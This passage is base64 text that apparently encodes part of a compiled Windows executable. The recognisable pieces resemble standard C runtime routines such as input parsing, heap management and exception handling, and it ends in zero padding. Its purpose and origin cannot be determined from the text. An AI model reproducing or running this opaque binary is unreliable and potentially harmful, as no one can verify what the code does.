WAIAAMZF8wGLXeyD+y11BsZF6QHrBYP7K3Ui/030dQyDfeAAdAbGRfEB6xH/dQj/RfzoGgMA AFmL2Ild7IN90AAPhA8BAACAffEAD4XjAAAAg/54dU+DPRwsQQABfg9ogAAAAFPoVO7//1lZ 6w2hECpBAIoEWCWAAAAAhcAPhKMAAACLRdiLVdxqBFnozSAAAFOJRdiJVdzofQIAAIvYWYld 7OtTgz0cLEEAAX4MagRT6Aju//9ZWesLoRAqQQCKBFiD4ASFwHRdg/5vdRWD+zh9U4tF2ItV 3GoDWeh9IAAA6w9qAGoK/3Xc/3XY6CwgAACJRdiJVdz/ReSNQ9CZAUXYEVXcg33gAHQF/030 dCT/dQj/RfzoNgIAAIvYWYld7Okr/////3UI/038U+g5AgAAWVmAfekAD4TcAAAAi0XYi03c 99iD0QCJRdj32YlN3OnEAAAAgH3xAA+FsgAAAIP+eHQ/g/5wdDqDPRwsQQABfgxqBFPoQ+3/ /1lZ6wuhECpBAIoEWIPgBIXAdHaD/m91CoP7OH1swecD6z+NPL/R5+s4gz0cLEEAAX4PaIAA AABT6Abt//9ZWesNoRAqQQCKBFglgAAAAIXAdDdTwecE6EQBAACL2FmJXez/ReSDfeAAjXwf 0HQF/030dCT/dQj/RfzoWAEAAIvYWYld7Olc/////3UI/038U+hbAQAAWVmAfekAdAL334P+ RnUEg2XkAIN95AAPhM4AAACAffIAdSn/RcyDfdAAdBCLRdSLTdiJCItN3IlIBOsQgH3zAItF 1HQEiTjrA2aJOP5F6/9FDIt1DOtC/0X8V+jhAAAAi9hZD7YGRjvDiV3siXUMdVWLDRAqQQAP tsP2REEBgHQY/0X8V+i3AAAAWQ+2DkY7yIl1DHU+/038g33s/3UQgD4ldU2LRQyAeAFudUSL 8IoGhMAPhVb2///rMP91CP9N/P917OsF/038V1PoiwAAAFlZ6xf/TfxXUOh9AAAA/038V1Po cwAAAIPEEIN97P91EYtFzIXAdQ04Ret1CIPI/+sDi0XMX15bycODPRwsQQABVn4Qi3QkCGoE VuiO6///WVnrD4t0JAihECpBAIoEcIPgBIXAdQaD5t+D7geLxl7Di1QkBP9KBHgJiwoPtgFB iQrDUugUHgAAWcODfCQE/3QP/3QkCP90JAjo1x4AAFlZw1aLdCQIV/90JBD/Bui+////i/hX 6D7i//9ZhcBZdeeLx19ew8zMzMzMzMzMjUL/W8ONpCQAAAAAjWQkADPAikQkCFOL2MHgCItU JAj3wgMAAAB0E4oKQjjZdNGEyXRR98IDAAAAde0L2FeLw8HjEFYL2IsKv//+/n6LwYv3M8sD 8AP5g/H/g/D/M88zxoPCBIHhAAEBgXUcJQABAYF00yUAAQEBdQiB5gAAAIB1xF5fWzPAw4tC /DjYdDaEwHTvONx0J4TkdOfB6BA42HQVhMB03DjcdAaE5HTU65ZeX41C/1vDjUL+Xl9bw41C /V5fW8ONQvxeX1vDoTRMSQCFwHQC/9BoFPBAAGgI8EAA6M4AAABoBPBAAGgA8EAA6L8AAACD xBDDagBqAP90JAzoFQAAAIPEDMNqAGoB/3QkDOgEAAAAg8QMw1dqAV85PZw5SQB1Ef90JAj/ FazQQABQ/xUo0UAAg3wkDABTi1wkFIk9mDlJAIgdlDlJAHU8oTBMSQCFwHQiiw0sTEkAVo1x /DvwchOLBoXAdAL/0IPuBDs1MExJAHPtXmgg8EAAaBjwQADoKgAAAFlZaCjwQABoJPBAAOgZ AAAAWVmF21t1EP90JAiJPZw5SQD/FXzRQABfw1aLdCQIO3QkDHMNiwaFwHQC/9CDxgTr7V7D VYvsU/91COg1AQAAhcBZD4QgAQAAi1gIhdsPhBUBAACD+wV1DINgCABqAVjpDQEAAIP7AQ+E 9gAAAIsNoDlJAIlNCItNDIkNoDlJAItIBIP5CA+FyAAAAIsNuCxBAIsVvCxBAAPRVjvKfRWN NEkr0Y00tUgsQQCDJgCDxgxKdfeLAIs1xCxBAD2OAADAdQzHBcQsQQCDAAAA63A9kAAAwHUM xwXELEEAgQAAAOtdPZEAAMB1DMcFxCxBAIQAAADrSj2TAADAdQzHBcQsQQCFAAAA6zc9jQAA wHUMxwXELEEAggAAAOskPY8AAMB1DMcFxCxBAIYAAADrET2SAADAdQrHBcQsQQCKAAAA/zXE LEEAagj/01mJNcQsQQBZXusIg2AIAFH/01mLRQijoDlJAIPI/+sJ/3UM/xWY0UAAW13Di1Qk BIsNwCxBADkVQCxBAFa4QCxBAHQVjTRJjTS1QCxBAIPADDvGcwQ5EHX1jQxJXo0MjUAsQQA7 wXMEORB0AjPAw4M9KExJAAB1Bei75P//Vos1aE5JAIoGPCJ1JYpGAUY8InQVhMB0EQ+2wFDo lBsAAIXAWXTmRuvjgD4idQ1G6wo8IHYGRoA+IHf6igaEwHQEPCB26YvGXsNTM9s5HShMSQBW V3UF6F/k//+LNSA5SQAz/4oGOsN0Ejw9dAFHVugr0///WY10BgHr6I0EvQQAAABQ6Orw//+L 8Fk784k1fDlJAHUIagnoEeD//1mLPSA5SQA4H3Q5VVfo8dL//4voWUWAPz10IlXotfD//zvD WYkGdQhqCeji3///WVf/Nujb0f//WYPGBFkD/Tgfdcld/zUgOUkA6Fjw//9ZiR0gOUkAiR5f XscFJExJAAEAAABbw1WL7FFRUzPbOR0oTEkAVld1Beih4///vqQ5SQBoBAEAAFZT/xUU0UAA oWhOSQCJNYw5SQCL/jgYdAKL+I1F+FCNRfxQU1NX6E0AAACLRfiLTfyNBIhQ6BXw//+L8IPE GDvzdQhqCOhA3///WY1F+FCNRfxQi0X8jQSGUFZX6BcAAACLRfyDxBRIiTV0OUkAX16jcDlJ AFvJw1WL7ItNGItFFFNWgyEAi3UQV4t9DMcAAQAAAItFCIX/dAiJN4PHBIl9DIA4InVEilAB QID6InQphNJ0JQ+20vaCYU1JAAR0DP8BhfZ0BooQiBZGQP8BhfZ01YoQiBZG687/AYX2dASA JgBGgDgidUZA60P/AYX2dAWKEIgWRooQQA+22vaDYU1JAAR0DP8BhfZ0BYoYiB5GQID6IHQJ hNJ0CYD6CXXMhNJ1A0jrCIX2dASAZv8Ag2UYAIA4AA+E4AAAAIoQgPogdAWA+gl1A0Dr8YA4 AA+EyAAAAIX/dAiJN4PHBIl9DItVFP8Cx0UIAQAAADPbgDhcdQRAQ+v3gDgidSz2wwF1JTP/ OX0YdA2AeAEijVABdQSLwusDiX0Ii30MM9I5VRgPlMKJVRjR64vTS4XSdA5DhfZ0BMYGXEb/ AUt184oQhNJ0SoN9GAB1CoD6IHQ/gPoJdDqDfQgAdC6F9nQZD7ba9oNhTUkABHQGiBZGQP8B ihCIFkbrDw+20vaCYU1JAAR0A0D/Af8BQOlY////hfZ0BIAmAEb/AekX////hf90A4MnAItF FF9eW/8AXcNRUaGoOkkAU1WLLajRQABWVzPbM/Yz/zvDdTP/1YvwO/N0DMcFqDpJAAEAAADr KP8VpNFAAIv4O/sPhOoAAADHBag6SQACAAAA6Y8AAACD+AEPhYEAAAA783UM/9WL8DvzD4TC AAAAZjkei8Z0DkBAZjkYdflAQGY5GHXyK8aLPaDQQADR+FNTQFNTUFZTU4lEJDT/14voO+t0 MlXogu3//zvDWYlEJBB0I1NTVVD/dCQkVlNT/9eFwHUO/3QkEOgw7f//WYlcJBCLXCQQVv8V oNFAAIvD61OD+AJ1TDv7dQz/FaTRQACL+Dv7dDw4H4vHdApAOBh1+0A4GHX2K8dAi+hV6Bvt //+L8Fk783UEM/brC1VXVuj10v//g8QMV/8VnNFAAIvG6wIzwF9eXVtZWcOD7ERTVVZXaAAB AADo4Oz//4vwWYX2dQhqG+gN3P//WYk1IEtJAMcFIExJACAAAACNhgABAAA78HMagGYEAIMO /8ZGBQqhIEtJAIPGCAUAAQAA6+KNRCQQUP8VeNFAAGaDfCRCAA+ExQAAAItEJESFwA+EuQAA AIswjWgEuAAIAAA78I0cLnwCi/A5NSBMSQB9Ur8kS0kAaAABAADoUOz//4XAWXQ4gwUgTEkA IIkHjYgAAQAAO8FzGIBgBACDCP/GQAUKiw+DwAiBwQABAADr5IPHBDk1IExJAHy76waLNSBM SQAz/4X2fkaLA4P4/3Q2ik0A9sEBdC72wQh1C1D/FWzRQACFwHQei8eLz8H4BYPhH4sEhSBL SQCNBMiLC4kIik0AiEgER0WDwwQ7/ny6M9uhIEtJAIM82P+NNNh1TYXbxkYEgXUFavZY6wqL w0j32BvAg8D1UP8VcNFAAIv4g///dBdX/xVs0UAAhcB0DCX/AAAAiT6D+AJ1BoBOBEDrD4P4 A3UKgE4ECOsEgE4EgEOD+wN8m/81IExJAP8VjNFAAF9eXVuDxETDM8BqADlEJAhoABAAAA+U wFD/FWTRQACFwKMES0kAdBXogwoAAIXAdQ//NQRLSQD/FWjRQAAzwMNqAVjDzMzMVYvsU1ZX VWoAagBoJKtAAP91COieHAAAXV9eW4vlXcOLTCQE90EEBgAAALgBAAAAdA+LRCQIi1QkEIkC uAMAAADDU1ZXi0QkEFBq/mgsq0AAZP81AAAAAGSJJQAAAACLRCQgi1gIi3AMg/7/dC47dCQk dCiNNHaLDLOJTCQIiUgMg3yzBAB1EmgBAQAAi0SzCOhAAAAA/1SzCOvDZI8FAAAAAIPEDF9e W8MzwGSLDQAAAACBeQQsq0AAdRCLUQyLUgw5UQh1BbgBAAAAw1NRu9QsQQDrClNRu9QsQQCL TQiJSwiJQwSJawxZW8IEAMzMVkMyMFhDMDBVi+yD7AhTVldV/ItdDItFCPdABAYAAAAPhYIA AACJRfiLRRCJRfyNRfiJQ/yLcwyLewiD/v90YY0MdoN8jwQAdEVWVY1rEP9UjwRdXotdDAvA dDN4PIt7CFPoqf7//4PEBI1rEFZT6N7+//+DxAiNDHZqAYtEjwjoYf///4sEj4lDDP9UjwiL ewiNDHaLNI/robgAAAAA6xy4AQAAAOsVVY1rEGr/U+ie/v//g8QIXbgBAAAAXV9eW4vlXcNV i0wkCIspi0EcUItBGFDoef7//4PECF3CBAChKDlJAIP4AXQNhcB1KoM9FClBAAF1IWj8AAAA 6BgAAAChrDpJAFmFwHQC/9Bo/wAAAOgCAAAAWcNVi+yB7KQBAACLVQgzybjoLEEAOxB0C4PA CEE9eC1BAHzxVovxweYDO5boLEEAD4UcAQAAoSg5SQCD+AEPhOgAAACFwHUNgz0UKUEAAQ+E 1wAAAIH6/AAAAA+E8QAAAI2FXP7//2gEAQAAUGoA/xUU0UAAhcB1E42FXP7//2i81UAAUOiz yf//WVmNhVz+//9XUI29XP7//+iOyv//QFmD+Dx2KY2FXP7//1Doe8r//4v4jYVc/v//g+g7 agMD+Gi41UAAV+jhAQAAg8QQjYVg////aJzVQABQ6F3J//+NhWD///9XUOhgyf//jYVg//// aJjVQABQ6E/J////tuwsQQCNhWD///9Q6D3J//9oECABAI2FYP///2hw1UAAUOhfEgAAg8Qs X+smjUUIjbbsLEEAagBQ/zbo7sn//1lQ/zZq9P8VcNFAAFD/FWzQQABeycNVi+xq/2jY1UAA aASsQABkoQAAAABQZIklAAAAAIPsGFNWV4ll6KGwOkkAM9s7w3U+jUXkUGoBXlZoUNJAAFb/ FVTRQACFwHQEi8brHY1F5FBWaEzSQABWU/8VWNFAAIXAD4TOAAAAagJYo7A6SQCD+AJ1JItF HDvDdQWhPDlJAP91FP91EP91DP91CFD/FVjRQADpnwAAAIP4AQ+FlAAAADldGHUIoUw5SQCJ RRhTU/91EP91DItFIPfYG8CD4AhAUP91GP8VeNBAAIlF4DvDdGOJXfyNPACLx4PAAyT86BTQ //+JZeiL9Il13FdTVuiUx///g8QM6wtqAVjDi2XoM9sz9oNN/P8783Qp/3XgVv91EP91DGoB /3UY/xV40EAAO8N0EP91FFBW/3UI/xVU0UAA6wIzwI1lzItN8GSJDQAAAABfXlvJw8zMzMzM zMzMzMzMzMzMzItMJAxXhcl0elZTi9mLdCQU98YDAAAAi3wkEHUHwekCdW/rIYoGRogHR0l0 JYTAdCn3xgMAAAB164vZwekCdVGD4wN0DYoGRogHR4TAdC9LdfOLRCQQW15fw/fHAwAAAHQS iAdHSQ+EigAAAPfHAwAAAHXui9nB6QJ1bIgHR0t1+ltei0QkCF/DiReDxwRJdK+6//7+fosG A9CD8P8zwosWg8YEqQABAYF03oTSdCyE9nQe98IAAP8AdAz3wgAAAP91xokX6xiB4v//AACJ F+sOgeL/AAAAiRfrBDPSiReDxwQzwEl0CjPAiQeDxwRJdfiD4wN1hYtEJBBbXl/Di0QkBFM7 BSBMSQBWV3Nzi8iL8MH5BYPmH408jSBLSQDB5gOLD/ZEMQQBdFZQ6BIRAACD+P9ZdQzHBVQ5 SQAJAAAA60//dCQYagD/dCQcUP8V5NBAAIvYg/v/dQj/FeDQQADrAjPAhcB0CVDo8w8AAFnr IIsHgGQwBP2NRDAEi8PrFIMlWDlJAADHBVQ5SQAJAAAAg8j/X15bw1WL7IHsFAQAAItNCFM7 DSBMSQBWVw+DeQEAAIvBi/HB+AWD5h+NHIUgS0kAweYDiwOKRDAEqAEPhFcBAAAz/zl9EIl9 +Il98HUHM8DpVwEAAKggdAxqAldR6Aj///+DxAyLAwPG9kAEgA+EwQAAAItFDDl9EIlF/Il9 CA+G5wAAAI2F7Pv//4tN/CtNDDtNEHMpi038/0X8igmA+Qp1B/9F8MYADUCICECLyI2V7Pv/ /yvKgfkABAAAfMyL+I2F7Pv//yv4jUX0agBQjYXs+///V1CLA/80MP8VbNBAAIXAdEOLRfQB Rfg7x3wLi0X8K0UMO0UQcooz/4tF+DvHD4WLAAAAOX0IdF9qBVg5RQh1TMcFVDlJAAkAAACj WDlJAOmAAAAA/xXg0EAAiUUI68eNTfRXUf91EP91DP8w/xVs0EAAhcB0C4tF9Il9CIlF+Oun /xXg0EAAiUUI65z/dQjoZA4AAFnrPYsD9kQwBEB0DItFDIA4Gg+Ezf7//8cFVDlJABwAAACJ PVg5SQDrFitF8OsUgyVYOUkAAMcFVDlJAAkAAACDyP9fXlvJw/8FtDpJAGgAEAAA6P7i//9Z i0wkBIXAiUEIdA2DSQwIx0EYABAAAOsRg0kMBI1BFIlBCMdBGAIAAACLQQiDYQQAiQHDi0Qk BDsFIExJAHIDM8DDi8iD4B/B+QWLDI0gS0kAikTBBIPgQMOhAEtJAFZqFIXAXnUHuAACAADr BjvGfQeLxqMAS0kAagRQ6KkOAABZo+Q6SQCFwFl1IWoEVok1AEtJAOiQDgAAWaPkOkkAhcBZ dQhqGuiN0f//WTPJuIAtQQCLFeQ6SQCJBBGDwCCDwQQ9ADBBAHzqM9K5kC1BAIvCi/LB+AWD 5h+LBIUgS0kAiwTwg/j/dASFwHUDgwn/g8EgQoH58C1BAHzUXsPokg8AAIA9lDlJAAB0BemV DgAAw1WL7ItFCIXAdQJdw4M9PDlJAAB1EmaLTQxmgfn/AHc5agGICFhdw41NCINlCABRagD/ NRwsQQBQjUUMagFQaCACAAD/NUw5SQD/FaDQQACFwHQGg30IAHQNxwVUOUkAKgAAAIPI/13D U1aLRCQYC8B1GItMJBSLRCQQM9L38YvYi0QkDPfxi9PrQYvIi1wkFItUJBCLRCQM0enR29Hq 0dgLyXX09/OL8PdkJBiLyItEJBT35gPRcg47VCQQdwhyBztEJAx2AU4z0ovGXlvCEADMzMzM zMzMzFOLRCQUC8B1GItMJBCLRCQMM9L38YtEJAj38YvCM9LrUIvIi1wkEItUJAyLRCQI0enR 29Hq0dgLyXX09/OLyPdkJBSR92QkEAPRcg47VCQMdwhyDjtEJAh2CCtEJBAbVCQUK0QkCBtU JAz32vfYg9oAW8IQAGhAAQAAagD/NQRLSQD/FZTRQACFwKPgOkkAdQHDgyXYOkkAAIMl3DpJ AABqAaPUOkkAxwXMOkkAEAAAAFjDodw6SQCNDICh4DpJAI0MiDvBcxSLVCQEK1AMgfoAABAA cgeDwBTr6DPAw1WL7IPsFItVDItNCFNWi0EQi/IrcQyLWvyDwvxXwe4Pi86LevxpyQQCAABL iX38jYwBRAEAAIld9IlN8IsME/bBAYlN+HV/wfkEaj9JX4lNDDvPdgOJfQyLTBMEO0wTCHVI i00Mg/kgcxy/AAAAgNPvjUwBBPfXIXywRP4JdSuLTQghOeskg8HgvwAAAIDT74tNDI1MAQT3 1yG8sMQAAAD+CXUGi00IIXkEi0wTCIt8EwSJeQSLTBMEi3wTCANd+Il5CIld9Iv7wf8ET4P/ P3YDaj9fi038g+EBiU3sD4WgAAAAK1X8i038wfkEaj+JVfhJWjvKiU0MdgWJVQyLygNd/Iv7 iV30wf8ETzv6dgKL+jvPdGuLTfiLUQQ7UQh1SItNDIP5IHMcugAAAIDT6o1MAQT30iFUsET+ CXUri00IIRHrJIPB4LoAAACA0+qLTQyNTAEE99IhlLDEAAAA/gl1BotNCCFRBItN+ItRCItJ BIlKBItN+ItRBItJCIlKCItV+IN97AB1CTl9DA+EiQAAAItN8I0M+YtJBIlKBItN8I0M+YlK CIlRBItKBIlRCItKBDtKCHVjikwHBIP/IIhND/7BiEwHBHMlgH0PAHUOuwAAAICLz9Pri00I CRm7AAAAgIvP0+uNRLBECRjrKYB9DwB1EI1P4LsAAACA0+uLTQgJWQSNT+C/AAAAgNPvjYSw xAAAAAk4i130i0XwiRqJXBP8/wgPhfoAAACh2DpJAIXAD4TfAAAAiw3QOkkAiz1g0UAAweEP A0gMuwCAAABoAEAAAFNR/9eLDdA6SQCh2DpJALoAAACA0+oJUAih2DpJAIsN0DpJAItAEIOk iMQAAAAAodg6SQCLQBD+SEOh2DpJAItIEIB5QwB1CYNgBP6h2DpJAIN4CP91bFNqAP9wDP/X odg6SQD/cBBqAP81BEtJAP8VkNFAAKHcOkkAixXgOkkAjQSAweACi8ih2DpJACvIjUwR7FGN SBRRUOgPx///i0UIg8QM/w3cOkkAOwXYOkkAdgOD6BSLDeA6SQCJDdQ6SQDrA4tFCKPYOkkA iTXQOkkAX15bycNVi+yD7BSh3DpJAIsV4DpJAFNWjQSAV408gotFCIl9/I1IF4Ph8IlN8MH5 BEmD+SB9DoPO/9Pug034/4l19OsQg8Hgg8j/M/bT6Il19IlF+KHUOkkAi9g734ldCHMZi0sE izsjTfgj/gvPdQuDwxQ7XfyJXQhy5ztd/HV5i9o72IldCHMVi0sEizsjTfgj/gvPdQWDwxTr 5jvYdVk7XfxzEYN7CAB1CIPDFIldCOvtO138dSaL2jvYiV0Icw2DewgAdQWDwxTr7jvYdQ7o OAIAAIvYhduJXQh0FFPo2gIAAFmLSxCJAYtDEIM4/3UHM8DpDwIAAIkd1DpJAItDEIsQg/r/ iVX8dBSLjJDEAAAAi3yQRCNN+CP+C891N4uQxAAAAItwRCNV+CN19INl/ACNSEQL1ot19HUX i5GEAAAA/0X8I1X4g8EEi/4jOQvXdOmLVfyLyjP/ackEAgAAjYwBRAEAAIlN9ItMkEQjznUN i4yQxAAAAGogI034X4XJfAXR4Ufr94tN9ItU+QSLCitN8IvxiU34wf4EToP+P34Daj9eO/cP hA0BAACLSgQ7Sgh1YYP/IH0ruwAAAICLz9Pri038jXw4BPfTiV3sI1yIRIlciET+D3U4i10I i03sIQvrMY1P4LsAAACA0+uLTfyNfDgEjYyIxAAAAPfTIRn+D4ld7HULi10Ii03sIUsE6wOL XQiLSgiLegSDffgAiXkEi0oEi3oIiXkID4SUAAAAi030i3zxBI0M8Yl6BIlKCIlRBItKBIlR CItKBDtKCHVkikwGBIP+IIhNC30p/sGAfQsAiEwGBHULvwAAAICLztPvCTu/AAAAgIvO0++L TfwJfIhE6y/+wYB9CwCITAYEdQ2NTuC/AAAAgNPvCXsEi038jbyIxAAAAI1O4L4AAACA0+4J N4tN+IXJdAuJColMEfzrA4tN+It18APRjU4BiQqJTDL8i3X0iw6FyY15AYk+dRo7Hdg6SQB1 EotN/DsN0DpJAHUHgyXYOkkAAItN/IkIjUIEX15bycOh3DpJAIsNzDpJAFZXM/87wXUwjUSJ UMHgAlD/NeA6SQBX/zUES0kA/xVM0UAAO8d0YYMFzDpJABCj4DpJAKHcOkkAiw3gOkkAaMRB AABqCI0EgP81BEtJAI00gf8VlNFAADvHiUYQdCpqBGgAIAAAaAAAEABX/xVQ0UAAO8eJRgx1 FP92EFf/NQRLSQD/FZDRQAAzwOsXg04I/4k+iX4E/wXcOkkAi0YQgwj/i8ZfXsNVi+xRi00I U1ZXi3EQi0EIM9uFwHwF0eBD6/eLw2o/acAEAgAAWo2EMEQBAACJRfyJQAiJQASDwAhKdfSL +2oEwecPA3kMaAAQAABoAIAAAFf/FVDRQACFwHUIg8j/6ZMAAACNlwBwAAA7+nc8jUcQg0j4 /4OI7A8AAP+NiPwPAADHQPzwDwAAiQiNiPzv//+JSATHgOgPAADwDwAABQAQAACNSPA7ynbH i0X8jU8MBfgBAABqAV+JSASJQQiNSgyJSAiJQQSDZJ5EAIm8nsQAAACKRkOKyP7BhMCLRQiI TkN1Awl4BLoAAACAi8vT6vfSIVAIi8NfXlvJw6G8OkkAhcB0D/90JAT/0IXAWXQEagFYwzPA w1WL7FNWi3UMM9s783QVOV0QdBCKBjrDdRCLRQg7w3QDZokYM8BeW13DOR08OUkAdROLTQg7 y3QHZg+2wGaJAWoBWOvhiw0QKkEAD7bA9kRBAYB0TaEcLEEAg/gBfio5RRB8LzPJOV0ID5XB Uf91CFBWagn/NUw5SQD/FXjQQACFwKEcLEEAdZ05RRByBTheAXWTxwVUOUkAKgAAAIPI/+uE M8A5XQgPlcBQ/3UIagFWagn/NUw5SQD/FXjQQACFwA+Fef///+vKzMzMzMzMzMzMzMzMzMzM i0QkCItMJBALyItMJAx1CYtEJAT34cIQAFP34YvYi0QkCPdkJBQD2ItEJAj34QPTW8IQAMzM zMzMzMzMzMzMzID5QHMVgPkgcwYPpcLT4MOL0DPAgOEf0+LDM8Az0sNWi3QkCItGDKiDD4TE AAAAqEAPhbwAAACoAnQKDCCJRgzprgAAAAwBZqkMAYlGDHUJVui/8///WesFi0YIiQb/dhj/ dgj/dhDozgQAAIPEDIlGBIXAdGyD+P90Z4tWDPbCgnU0i04QV4P5/3QUi/nB/wWD4R+LPL0g S0kAjTzP6wW/yCxBAIpPBF+A4YKA+YJ1BoDOIIlWDIF+GAACAAB1FItODPbBCHQM9sUEdQfH RhgAEAAAiw5IiUYED7YBQYkOXsP32BvAg+AQg8AQCUYMg2YEAIPI/17DU4tcJAiD+/9WdEGL dCQQi0YMqAF1CKiAdDKoAnUug34IAHUHVujz8v//WYsGO0YIdQmDfgQAdRRAiQb2RgxAdBH/ DosGOBh0D0CJBoPI/15bw/8OiwaIGItGDP9GBCTvDAGJRgyLwyX/AAAA6+FqBGoA/3QkDOgE AAAAg8QMww+2RCQEikwkDISIYU1JAHUcg3wkCAB0Dg+3BEUaKkEAI0QkCOsCM8CFwHUBw2oB WMNTM9s5HcA6SQBWV3VCaBTWQAD/FfTQQACL+Dv7dGeLNTjRQABoCNZAAFf/1oXAo8A6SQB0 UGj41UAAV//WaOTVQABXo8Q6SQD/1qPIOkkAocQ6SQCFwHQW/9CL2IXbdA6hyDpJAIXAdAVT /9CL2P90JBj/dCQY/3QkGFP/FcA6SQBfXlvDM8Dr+ItMJAQz0okNWDlJALgwMEEAOwh0IIPA CEI9mDFBAHzxg/kTch2D+SR3GMcFVDlJAA0AAADDiwTVNDBBAKNUOUkAw4H5vAAAAHISgfnK AAAAxwVUOUkACAAAAHYKxwVUOUkAFgAAAMOLTCQEVjsNIExJAFdzVYvBi/HB+AWD5h+NPIUg S0kAweYDiwcDxvZABAF0N4M4/3Qygz0UKUEAAXUfM8AryHQQSXQISXUTUGr06whQavXrA1Bq 9v8VSNFAAIsHgwww/zPA6xSDJVg5SQAAxwVUOUkACQAAAIPI/19ew4tEJAQ7BSBMSQBzHIvI g+AfwfkFiwyNIEtJAPZEwQQBjQTBdAOLAMODJVg5SQAAxwVUOUkACQAAAIPI/8NTVot0JAxX D690JBSD/uCL3ncNhfZ1A2oBXoPGD4Pm8DP/g/7gdyo7HSAwQQB3DVPolfb//4v4WYX/dStW agj/NQRLSQD/FZTRQACL+IX/dSKDPbg6SQAAdBlW6B/7//+FwFl0FOu5U2oAV+hBtP//g8QM i8dfXlvDM8Dr+FZXagMz/145NQBLSQB+RKHkOkkAiwSwhcB0L/ZADIN0DVDoPQMAAIP4/1l0 AUeD/hR8F6HkOkkA/zSw6OjS//+h5DpJAFmDJLAARjs1AEtJAHy8i8dfXsNWi3QkCIX2dQlW 6JEAAABZXsNW6CMAAACFwFl0BYPI/17D9kYNQHQP/3YQ6DIDAAD32FleG8DDM8Bew1NWi3Qk DDPbV4tGDIvIg+EDgPkCdTdmqQgBdDGLRgiLPiv4hf9+JldQ/3YQ6Njt//+DxAw7x3UOi0YM qIB0DiT9iUYM6weDTgwgg8v/i0YIg2YEAIkGX4vDXlvDagHoAgAAAFnDU1ZXM/Yz2zP/OTUA S0kAfk2h5DpJAIsEsIXAdDiLSAz2wYN0MIN8JBABdQ9Q6C7///+D+P9ZdB1D6xqDfCQQAHUT 9sECdA5Q6BP///+D+P9ZdQIL+EY7NQBLSQB8s4N8JBABi8N0AovHX15bw2oC6CbB//9Zw1WL 7IPsDFNWi3UIVzs1IExJAA+DxQEAAIvGg+YfwfgFweYDjRyFIEtJAIsEhSBLSQADxopQBPbC AQ+EngEAAINl+ACLfQyDfRAAi890Z/bCAnVi9sJIdB2KQAU8CnQW/00QiAeLA41PAcdF+AEA AADGRDAFCo1F9GoAUIsD/3UQUf80MP8VcNBAAIXAdTr/FeDQQABqBVk7wXUVxwVUOUkACQAA AIkNWDlJAOk+AQAAg/htdQczwOk1AQAAUOg1/P//WekmAQAAiwOLVfQBVfiNTDAEikQwBKiA D4T4AAAAhdJ0CYA/CnUEDATrAiT7iAGLRQyLTfiJRRADyDvBiU34D4PLAAAAi0UQigA8Gg+E rgAAADwNdAuIB0f/RRDpkQAAAEk5TRBzGItFEECAOAp1BoNFEALrXsYHDUeJRRDrc41F9GoA UP9FEI1F/2oBUIsD/zQw/xVw0EAAhcB1Cv8V4NBAAIXAdUeDffQAdEGLA/ZEMARIdBOKRf88 CnQXxgcNiwtHiEQxBespO30MdQuAff8KdQXGBwrrGGoBav//dQjo7er//4PEDIB9/wp0BMYH DUeLTfg5TRAPgkf////rEIsDjXQwBIoGqEB1BAwCiAYrfQyJffiLRfjrFIMlWDlJAADHBVQ5 SQAJAAAAg8j/X15bycNWi3QkCFeDz/+LRgyoQHQFg8j/6zqog3Q0VugQ/f//Vov46DkBAAD/ dhDofgAAAIPEDIXAfQWDz//rEotGHIXAdAtQ6HzP//+DZhwAWYvHg2YMAF9ew4tEJAQ7BSBM SQBzPYvIi9DB+QWD4h+LDI0gS0kA9kTRBAF0JVDoYvv//1lQ/xVE0UAAhcB1CP8V4NBAAOsC M8CFwHQSo1g5SQDHBVQ5SQAJAAAAg8j/w1NVVleLfCQUOz0gTEkAD4OGAAAAi8eL98H4BYPm H40chSBLSQDB5gOLA/ZEMAQBdGlX6P76//+D+P9ZdDyD/wF0BYP/AnUWagLo5/r//2oBi+jo 3vr//1k7xVl0HFfo0vr//1lQ/xUk0UAAhcB1Cv8V4NBAAIvo6wIz7VfoOvr//4sDWYBkMAQA he10CVXowfn//1nrFTPA6xSDJVg5SQAAxwVUOUkACQAAAIPI/19eXVvDVot0JAiLRgyog3Qd qAh0Gf92COhMzv//ZoFmDPf7M8BZiQaJRgiJRgRew8zMzMzM/yW40UAA/yW00UAA/yWw0UAA /yVc0UAAVYvsUaE8OUkAUzPbO8OJXfx1IYtFCIvQOBh0f4oKgPlhfAqA+Xp/BYDpIIgKQjga derrZ1ZXagFTU1Nq/74AAgAA/3UIVlDo7cH//4v4g8QgO/t0OFfo8M3//zvDWYlF/HQqagFT V1Bq//91CFb/NTw5SQDowMH//4PEIIXAdA3/dfz/dQjo/a7//1lZ/3X86IfN//+LRQhZX15b ycPMzMzMzMzMzMzMVYvsV1ZTi00QC8kPhJUAAACLdQiLfQyNBTQ5SQCDeAgAdUO3QbNatiCN SQCKJgrkigd0IQrAdB1GRzj8cgY43HcCAuY4+HIGONh3AgLGOMR1CUl11zPJOMR0S7n///// ckT32etAM8Az24v/igYLwIofdCML23QfRkdRUFPo3LH//4vYg8QE6NKx//+DxARZO8N1CUl1 1TPJO8N0Cbn/////cgL32YvBW15fycPMzMxVi+xXVlOLdQyLfQiNBTQ5SQCDeAgAdTuw/4v/ CsB0LooGRoonRzjEdPIsQTwaGsmA4SACwQRBhuAsQTwaGsmA4SACwQRBOOB00hrAHP8PvsDr NLj/AAAAM9uL/wrAdCeKBkaKH0c42HTyUFPoPbH//4vYg8QE6DOx//+DxAQ4w3TaG8CD2P9b Xl/Jw1WL7FGhPDlJAFMz2zvDiV38dSGLRQiL0DgYdH+KCoD5QXwKgPlafwWAwSCICkI4GnXq 62dWV2oBU1NTav++AAEAAP91CFZQ6AnA//+L+IPEIDv7dDhX6AzM//87w1mJRfx0KmoBU1dQ av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 